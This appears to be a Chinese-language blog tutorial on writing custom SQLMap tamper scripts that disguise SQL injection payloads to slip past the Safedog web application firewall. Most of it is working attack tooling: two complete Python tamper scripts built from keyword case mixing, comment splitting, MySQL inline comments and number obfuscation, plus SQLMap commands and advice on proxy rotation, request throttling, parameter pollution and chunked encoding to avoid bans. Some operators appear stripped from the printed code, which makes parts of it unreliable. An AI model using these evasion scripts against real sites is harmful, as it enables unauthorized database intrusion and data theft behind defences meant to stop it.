SQLMap Tamper脚本定制:绕过WAF检测的字符混淆与编码技术
1. 项目概述为什么需要定制Tamper脚本在渗透测试或者安全研究领域SQL注入漏洞的自动化检测工具里SQLMap无疑是王者。它功能强大自动化程度高但它的“指纹”也过于明显。像安全狗、云锁、D盾这类WAFWeb应用防火墙产品早已将SQLMap的默认请求特征和行为模式研究得透透的直接使用无异于“裸奔”请求还没到服务器就被WAF规则无情地拦截了。这就是我们今天要聊的核心定制SQLMap的Tamper脚本。Tamper直译是“篡改器”在SQLMap里它的作用就是在发送请求前对Payload攻击载荷进行“化妆”改变其形态绕过基于正则匹配或行为分析的WAF规则。网上有很多现成的Tamper脚本但安全狗的规则库也在不断更新通用的脚本可能很快失效。因此掌握自己编写Tamper脚本的能力就相当于拥有了“动态对抗”的武器能根据目标WAF的实时反应快速调整攻击策略。这个项目不是教你用SQLMap而是教你如何“改造”SQLMap让它变得更“聪明”、更“隐蔽”。我们将深入理解安全狗的常见防护逻辑并手把手编写几个针对性的Tamper脚本涵盖字符替换、编码混淆、注释拆分等核心绕过技术。无论你是安全工程师、渗透测试人员还是对Web安全感兴趣的学习者掌握这项技能都能让你在实战中更加游刃有余。2. 安全狗防护逻辑分析与Tamper设计思路在动手写代码之前我们必须先搞清楚“对手”是怎么工作的。安全狗的SQL注入防护主要基于多层检测机制我们的Tamper脚本需要有针对性地进行对抗。2.1 安全狗常见检测机制拆解安全狗的防护并非铁板一块理解其规则有助于我们找到缝隙。2.1.1 关键词黑名单匹配这是最基础也是最广泛的一层。安全狗维护了一个庞大的SQL关键词和危险字符黑名单如UNION,SELECT,FROM,WHERE,AND,OR,,,#,--,/*,*/,sleep,benchmark,information_schema等。当HTTP请求参数中出现这些字符串时就可能触发拦截。但它的匹配往往是“傻瓜式”的字符串查找这就给我们留下了操作空间。2.1.2 语法结构分析高级一点的防护会尝试解析参数值判断其是否构成一个“看起来像”的SQL语句片段。例如单纯的SELECT可能不会触发但SELECT * FROM这种组合就非常可疑。它会检查关键词的顺序、组合方式甚至模拟一个简单的SQL解析器。2.1.3 混淆变形识别为了防止简单的替换绕过如SELSELECTECT通过中间插入字符绕过安全狗也会内置一些常见的混淆规则识别比如去除特定干扰字符后是否还能组成敏感词。但它的识别能力是有限的我们总可以找到更冷门的混淆方式。2.1.4 频率与行为异常检测除了单次请求的内容安全狗还会监控一段时间内的请求行为。如果某个IP在短时间内发送了大量包含类似Payload的请求典型的SQLMap爆破行为即使单次请求绕过了内容检测也可能因为行为异常而被封禁。这部分需要配合SQLMap的--delay、--threads等参数来调节不属于Tamper脚本的主要对抗范围但必须心中有数。2.2 Tamper脚本的核心设计哲学基于以上分析我们的Tamper脚本设计应遵循以下几个原则最小化修改原则对Payload的改动要尽可能小确保改动后的Payload在目标数据库引擎中执行的语义与原Payload完全一致。这是前提不能为了绕过而破坏了注入本身。多样化混淆原则不要只依赖一种绕过技术。一个优秀的Tamper脚本应该是多种手法的组合拳随机应变增加WAF的识别难度。针对性原则最好的Tamper脚本往往是针对特定目标WAF如某一版本的安全狗测试调优出来的。我们可以先编写通用脚本再根据拦截情况做针对性调整。可组合原则SQLMap允许使用多个Tamper脚本如--tamperscript1.py,script2.py。我们的脚本应该设计得可以与其他脚本良好协作实现效果的叠加。3. 手把手编写你的第一个Tamper脚本字符替换与混淆理论说得再多不如一行代码。我们从最简单的字符替换开始这是绕过关键词黑名单最直接的方法。3.1 脚本结构与运行原理SQLMap的Tamper脚本本质是一个Python模块它必须包含一个tamper(payload, **kwargs)函数。这个函数接收原始的payload字符串返回我们处理后的新字符串。SQLMap在发送请求前会调用这个函数。我们先创建一个文件比如safedog_basic.py。#!/usr/bin/env python Copyright (c) 2024 YourNameHere 针对安全狗基础关键词拦截的Tamper脚本。 采用大小写混淆、字符双写、等号like替换等方式。 from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL # 定义脚本优先级NORMAL即可 def dependencies(): 声明脚本依赖通常为空。 如果依赖特定SQLMap版本或模块在此说明。 pass def tamper(payload, **kwargs): 主处理函数。 :param payload: 原始Payload字符串 :param kwargs: 其他关键字参数如headers等 :return: 混淆后的Payload字符串 # 如果payload为空直接返回 if payload is None: return payload retVal payload # 技巧1大小写随机混淆 (不完全随机这里用交替大小写示例) # 将关键SQL关键词进行大小写变换破坏简单的字符串匹配 # 注意只变换独立的单词避免破坏函数名或字符串内容 # 这里使用一个简单但有效的替换列表 case_substitutions { SELECT: SeLeCt, UNION: UnIoN, FROM: FrOm, WHERE: WhErE, AND: AnD, OR: Or, SLEEP: SlEeP, BENCHMARK: BeNcHmArK, INFORMATION_SCHEMA: InFoRmAtIoN_ScHeMa, } for key, value in case_substitutions.items(): # 使用正则替换确保是单词边界避免替换到字符串内部 import re retVal re.sub(rf\b{key}\b, value, retVal, flagsre.IGNORECASE) # 技巧2等号 用 LIKE 或 RLIKE 绕过 # 安全狗可能对 id1 这种模式有检测将其变为 id LIKE 1在布尔盲注中常有效 # 注意LIKE 和 在逻辑上有时不完全等价但在很多盲注Payload中可行 retVal retVal.replace(, LIKE ) # 技巧3注释符混淆 # 将 -- 注意有空格和 # 替换为其他形式的注释或者用内联注释/*...*/包裹部分语句 # 这里简单地将 -- 替换为 # retVal retVal.replace(-- , #) return retVal注意上面的case_substitutions字典替换使用了正则\b来匹配单词边界这是一个好习惯可以避免误替换。例如我们不想把...FROM usersWHERE...中的WHERE部分错误替换。但请注意在复杂的Payload中单词边界可能因特殊字符而判断不准需要更精细的处理。这里为了示例清晰先采用此方法。3.2 进阶混淆字符双写与无效符号填充仅仅大小写变化可能还不够。安全狗可能会做规范化处理如统一转大写后再匹配。字符双写也叫“无效关键字”是一种经典绕过方式。我们在tamper函数里继续添加逻辑放在return前# 技巧4字符双写绕过 # 原理插入一些WAF可能会剥离的字符如果WAF只剥离一次我们就能还原出关键词。 # 例如SELECT - SELSELECTECT如果WAF删除中间的“SELECT”则剩下“SELECT”。 # 但现代WAF包括安全狗很可能识别这种模式。我们可以用更冷门的“脏字符”。 double_keywords [SELECT, UNION, FROM] for word in double_keywords: # 在关键词的每个字符间插入一个随机字符这里用点号.示例然后双写中间字符 # 更常见的做法是将关键词拆开中间插入一个会被忽略的注释或脏数据。 # 例如SEL/*!*/ECT, UNI/*aaaa*/ON import random # 生成一个短的随机字符串作为“脏数据” dirt /* .join(random.sample(abcdefghijklmnopqrstuvwxyz, 4)) */ # 将关键词从中间分开插入脏数据 (这里简单地从第2个字符后分开) if len(word) 2: part1 word[:2] part2 word[2:] obfuscated part1 dirt part2 # 同样使用单词边界替换 retVal re.sub(rf\b{word}\b, obfuscated, retVal, flagsre.IGNORECASE) # 技巧5用URL编码混淆特定字符 # 安全狗可能对某些特殊字符如单引号、空格 检测严格。 # 我们可以将Payload中的单引号替换为其URL全编码%27将空格替换为/**/或%20或。 # 注意SQLMap本身会对Payload进行URL编码所以我们这里处理的是编码前的字符。 # 替换空格为/**/MySQL中有效的注释空格 retVal retVal.replace( , /**/) # 替换单引号为%27但需要确保SQLMap不会二次编码。更稳妥的方式是稍后由SQLMap统一编码。 # 通常在Tamper中我们更倾向于使用数据库特性而非编码特性。 # 替换单引号为\转义形式有时也有效但取决于数据库上下文。 # retVal retVal.replace(, \\)实操心得字符双写和脏数据插入的点在于“不可预测性”。使用随机字符串比固定字符串如/*x*/效果更好。但要注意每次请求的Payload如果都不同虽然绕过率可能提高但也可能影响SQLMap的某些检测逻辑如布尔比较。在编写用于布尔盲注或时间盲注的Tamper时要确保同一测试步骤中的Payload混淆后保持稳定否则会影响结果判断。一个折中的办法是使用基于Payload本身生成的哈希值前几位作为脏数据这样同一Payload的混淆结果是固定的。4. 深入对抗利用数据库特性与注释技巧安全狗会对常见的混淆手法进行规整化处理。我们需要利用数据库引擎本身的一些“特性”或“宽松解析”来构造WAF难以理解但数据库能执行的语句。4.1 MySQL特性利用MySQL有很多“黑魔法”是我们绕WAF的宝库。4.1.1 内联注释/*!...*/MySQL为了兼容性支持一种特殊的内联注释/*! ... */其中的代码只有在MySQL中才会被执行。这本身是合法注释但我们可以利用它来包裹关键词甚至执行版本特定的代码。很多WAF为了性能可能不会深入解析注释内部。# 技巧6利用MySQL内联注释包裹关键词 # 将 UNION SELECT 变成 /*!UNION*/ /*!SELECT*/ # 或者更激进一点将每个关键词都包裹起来/*!UNION*//*!SELECT*/ # 注意内联注释内的内容必须是有效的MySQL语法。 mysql_keywords [UNION, SELECT, FROM, WHERE, GROUP BY, ORDER BY, LIMIT] for word in mysql_keywords: # 简单的包裹 pattern rf\b{word}\b replacement f/*!{word}*/ retVal re.sub(pattern, replacement, retVal, flagsre.IGNORECASE) # 更高级的用法利用 /*!50000 ... */ 表示在MySQL版本5.00.00时执行 # 可以用于隐藏一些函数调用如 /*!50000 CONCAT*/(a,b)4.1.2 科学计数法与位运算在数字上下文里1可以写成1e0、true、~~1、1^0、1|0等多种形式。这可以用来绕过对id1这种简单等式的检测。# 技巧7数字混淆 # 将简单的数字1替换为其他等价的表达式 # 注意需要确保替换后的表达式在SQL中计算结果仍为原数字且不影响上下文。 # 例如在 id1 被我们之前替换成 id LIKE 1 的基础上再把 1 替换。 # 这里需要更谨慎的上下文判断一个简单的全局替换可能破坏字符串或函数参数。 # 我们可以用正则匹配 LIKE\s(\d) 或 \s*(\d) 来进行针对性替换。 import re def replace_number(match): num match.group(1) # 将数字转换为科学计数法例如 1 - 1e0, 2 - 2e0 return match.group(0).replace(num, f{num}e0) # 匹配 LIKE 数字 或 数字 的模式简化版 retVal re.sub(r(LIKE|)\s*(\d), lambda m: m.group(1) m.group(2) e0, retVal)4.2 注释的妙用拆分语句注释不仅可以隐藏还可以用来将一条完整的SQL语句在视觉上“拆散”干扰WAF的语法分析。# 技巧8注释拆分法 # 将 UNION SELECT 拆成 UNI/**/ON SEL/**/ECT # 这种方法对基于正则匹配“完整词语”的WAF有效。 # 我们可以定义一个拆分字典 split_map { UNION: UNI/**/ON, SELECT: SEL/**/ECT, FROM: FR/**/OM, WHERE: WH/**/ERE, } for key, value in split_map.items(): retVal re.sub(rf\b{key}\b, value, retVal, flagsre.IGNORECASE) # 技巧9换行符与多行注释 # 有些WAF可能逐行分析或者对换行符处理不当。 # 在HTTP请求中我们可以使用 %0A (LF) 或 %0D%0A (CRLF) 表示换行。 # 将关键词跨行书写SEL%0AECT # 在Tamper中我们可以将空格替换为换行符需URL编码 # 但注意不是所有数据库都允许SQL语句中任意位置换行。通常空格处可以换行。 # 这里我们选择性地在一些空格处插入注释加换行。 # 例如UNION SELECT - UNION/*\n*/SELECT # 在Python字符串中\n 就是换行符SQLMap发送时会将其编码为%0A。 retVal re.sub(r\sUNION\sSELECT, /*\\n*/UNION/*\\n*/SELECT, retVal, flagsre.IGNORECASE)注意事项使用换行符和复杂注释时务必先在目标数据库上测试其语法是否合法。例如在MySQL中/*注释不能嵌套且需要正确的结束符*/。将Payload拆得太碎可能会导致数据库解析错误。5. 实战整合与脚本优化现在我们将上述技巧整合到一个更健壮、更智能的Tamper脚本中。一个好的Tamper脚本不应该只是简单的替换堆砌而应该有一些逻辑判断比如根据Payload类型选择不同的混淆策略。5.1 编写一个完整的增强版Tamper脚本我们创建一个新文件safedog_advanced.py。#!/usr/bin/env python Copyright (c) 2024 YourNameHere 针对安全狗的增强Tamper脚本。 综合运用大小写混淆、字符双写、MySQL内联注释、注释拆分、数字混淆等技术。 并尝试根据Payload类型进行智能混淆。 from lib.core.enums import PRIORITY import random import re __priority__ PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if not payload: return payload retVal payload random.seed(hash(payload) % 10000) # 根据payload生成固定随机种子确保同一payload混淆结果一致 # 判断Payload类型简单判断 is_union UNION in payload.upper() is_boolean AND in payload.upper() or OR in payload.upper() is_time SLEEP in payload.upper() or BENCHMARK in payload.upper() # 通用混淆空格和等号处理 retVal retVal.replace( , /**/) retVal retVal.replace(, LIKE ) # 1. 关键词混淆层 keywords [SELECT, UNION, FROM, WHERE, AND, OR, SLEEP, BENCHMARK, INFORMATION_SCHEMA, TABLE_NAME, COLUMN_NAME] for keyword in keywords: pattern rf\b{keyword}\b if re.search(pattern, retVal, re.IGNORECASE): # 随机选择一种混淆方式增加不可预测性 choice random.randint(1, 4) if choice 1: # 大小写混淆 new_keyword .join([c.upper() if random.random() 0.5 else c.lower() for c in keyword]) retVal re.sub(pattern, new_keyword, retVal, flagsre.IGNORECASE) elif choice 2 and len(keyword) 3: # 注释拆分 (中间插入/**/) mid len(keyword) // 2 part1, part2 keyword[:mid], keyword[mid:] new_keyword part1 /**/ part2 retVal re.sub(pattern, new_keyword, retVal, flagsre.IGNORECASE) elif choice 3: # MySQL内联注释包裹 new_keyword f/*!{keyword}*/ retVal re.sub(pattern, new_keyword, retVal, flagsre.IGNORECASE) elif choice 4: # 字符双写插入随机脏数据 dirt /* .join(random.sample(abcdefghijklmn, 3)) */ mid len(keyword) // 2 part1, part2 keyword[:mid], keyword[mid:] new_keyword part1 dirt part2 retVal re.sub(pattern, new_keyword, retVal, flagsre.IGNORECASE) # 2. 针对UNION SELECT的特殊处理 if is_union: # 将 UNION ALL SELECT 或 UNION SELECT 整体进行变形 # 例如将 UNION 和 SELECT 之间插入大量注释 retVal re.sub(rUNION(\sALL)?\sSELECT, rUNION/* A*random.randint(5,10) */SELECT, retVal, flagsre.IGNORECASE) # 3. 数字混淆 (针对 WHERE id1 这类) # 匹配 LIKE 或 后面的数字简化场景 def num_replace(match): pre match.group(1) # 操作符 (LIKE 或 ) num match.group(2) # 数字 # 随机选择一种数字表示法 methods [ lambda n: f{n}e0, # 科学计数法 lambda n: f{n}^0, # 异或0 lambda n: f{n}0, # 加0 lambda n: f{n}*1, # 乘1 lambda n: f~{n}{n1}, # 位取反后加回来复杂 ] method random.choice(methods) new_num method(int(num)) return f{pre} {new_num} retVal re.sub(r(LIKE|)\s*(\d), num_replace, retVal) # 4. 字符串常量混淆单引号 # 将 value 替换为 CHAR(118,97,108,117,101) 或 CONCAT(v,a,l,u,e) # 这里需要更精细的解析简单演示找到单引号包裹的内容并替换注意这可能会破坏转义字符 # 由于实现复杂且容易出错此功能暂不启用。更安全的做法是依赖SQLMap自身的--tamper链和--hex等参数。 # 可以使用 --hex 参数将字符串转换为16进制这是绕过单引号过滤的终极方法之一。 return retVal5.2 脚本使用与测试方法编写好脚本后将其放入SQLMap的tamper/目录下或者直接指定路径。基础测试命令python sqlmap.py -u http://target.com/page.php?id1 --tampersafedog_advanced --batch --flush-session--tamper: 指定我们的脚本。--batch: 非交互模式自动选择默认选项。--flush-session: 清除之前的会话缓存避免影响本次测试。结合其他参数进行深度测试python sqlmap.py -u http://target.com/page.php?id1 --tampersafedog_advanced --random-agent --delay2 --threads1 --level3 --risk2--random-agent: 使用随机的User-Agent头绕过基于Agent的简单拦截。--delay和--threads: 控制请求频率避免触发频率限制。--level和--risk: 提高检测级别和风险等级SQLMap会尝试更多Payload和注入点。高等级可能会触发更多WAF规则正好测试我们的Tamper效果。如何判断Tamper是否有效观察拦截情况使用Tamper前请求可能直接被WAF拦截返回403等状态码或安全狗拦截页面。使用Tamper后如果能收到正常的200响应且SQLMap开始显示检测进度如“GET parameter id is vulnerable”说明可能绕过了。查看Payload使用-v 3参数可以查看SQLMap发送的每一个Payload。观察我们Tamper脚本处理后的Payload是否按预期被混淆了。对比测试同一个目标分别使用和不使用--tamper参数对比拦截情况。6. 常见问题排查与高级技巧即使有了Tamper脚本实战中依然会遇到各种问题。这里记录一些常见的坑和排查思路。6.1 Tamper脚本调试与问题排查问题1脚本导入错误提示No module named lib.core.enums这是因为你在SQLMap目录外直接运行了脚本。Tamper脚本必须被SQLMap主程序调用因为它依赖于SQLMap的内部模块。确保你的使用方式是在SQLMap根目录下执行python sqlmap.py ... --tamperyour_script。问题2使用Tamper后SQLMap报错NoneType object has no attribute upper或其他属性错误这通常是因为你的tamper(payload, **kwargs)函数没有处理好payload为None的情况。务必在函数开头加上判断if payload is None: return payload问题3混淆后的Payload导致SQL语法错误注入失败这是最可能的情况。说明你的混淆方式破坏了SQL语句的语法。排查方法使用-v 3查看发送的具体Payload并将其复制到数据库管理工具如MySQL命令行、HeidiSQL中手动执行看是否报语法错误。常见原因注释符/*...*/没有正确闭合。在字符串内部错误地替换了字符如将admin中的替换了。混淆导致关键词被拆分到不该拆分的地方如SEL/**/ECT是SELECT但SEL/**/ECT * FROM可能被解析为SEL和ECT * FROM取决于数据库如何解析注释。数字混淆表达式在特定上下文中无效如id LIKE 1e0在字符串比较时可能类型不匹配。解决在脚本中添加更精确的匹配使用正则确保上下文或者避免在某些特定位置如字符串常量、函数参数内进行替换。可以先对Payload进行简单的词法分析虽然复杂或者采用更保守的替换策略。问题4Tamper脚本似乎没起作用Payload看起来没变使用-v 3查看发送的Payload。如果没变检查脚本是否被正确加载SQLMap启动时会打印加载的tamper脚本列表。你的tamper函数是否被正确调用可以在函数开头加print调试但注意SQLMap输出会很乱。确保你的替换逻辑确实匹配了Payload中的内容。SQLMap的Payload有时很复杂包含多种编码和格式。6.2 绕过行为分析与频率限制问题Tamper绕过了内容检测但IP很快被封锁这触发了安全狗的行为分析或频率限制。解决方案降低速度大幅增加--delay参数如设为5或10减少--threads设为1。使用代理池通过--proxy或--proxy-file轮换代理IP。伪装成正常流量使用--random-agent并精心构造--headers头使其看起来像普通浏览器访问。限制测试范围使用--skip跳过一些耗时的测试如时间盲注使用--technique指定你认为最可能成功的注入技术如B布尔盲注。6.3 与其他SQLMap参数协同作战Tamper脚本不是万能的它需要和SQLMap的其他强大功能配合使用。--hex将字符串数据转换为16进制格式。这是绕过单引号过滤和某些字符黑名单的终极利器。例如admin变成0x61646D696E。可以写一个Tamper脚本自动触发此转换或者直接使用此参数。--hpp使用HTTP参数污染技术。有些WAF只检查第一个参数而应用服务器可能取最后一个参数。通过?id1id2的形式可能绕过。--chunked使用HTTP分块传输编码。可以拆分请求体干扰WAF的流式检测。--tamper链可以同时使用多个Tamper脚本用逗号分隔。例如--tamperbetween,randomcase,space2comment。脚本按顺序执行后一个处理前一个的结果。你可以将我们的脚本放在最后做最终处理。6.4 编写“自适应”Tamper的思考一个更高级的想法是编写能“感知”WAF反应的Tamper脚本。这需要与SQLMap的代理功能--proxy结合分析WAF的响应是拦截页面还是正常页面然后动态调整混淆策略。但这超出了单个Tamper脚本的范畴需要更复杂的框架支持。一个简单的实现思路是准备多套混淆规则如果检测到连续几次请求被拦截则切换规则。7. 总结与持续对抗编写Tamper脚本是一个“道高一尺魔高一丈”的持续对抗过程。没有一劳永逸的脚本。安全狗的规则在更新我们的技巧也需要迭代。我个人在实际编写和测试中的体会是保持简单有效最开始不要追求过于复杂的混淆。从最基本的等号替换、空格替换、大小写变换开始测试往往就能绕过一些宽松的规则。理解数据库你的混淆必须建立在目标数据库MySQL, PostgreSQL, SQL Server等的语法特性之上。多花时间研究目标数据库的“怪癖”比如MySQL的/*! ... */SQL Server的{fn ...}这些是绕过WAF的宝藏。测试、测试、再测试在一个可控的环境如自己搭建的带有安全狗的测试靶场中反复测试你的脚本。观察WAF日志如果有权限了解它到底拦截了什么。关注Payload的语义始终问自己混淆后的Payload在数据库里执行的结果和原Payload完全一样吗尤其是在布尔盲注和时间盲注中一个细微的语义差别都可能导致判断失误。社区是后盾多关注SQLMap官方仓库的tamper/目录学习别人的思路。安全社区如Seclists, Exploit-DB也会经常分享新的绕过技巧。最后要强调所有技术都应用于授权的安全测试和个人学习研究。未经授权对他人系统进行渗透测试是违法行为。掌握Tamper脚本的编写更深层的价值在于理解攻击与防御的博弈思维从而能更好地设计安全的应用程序构建更坚固的防御体系。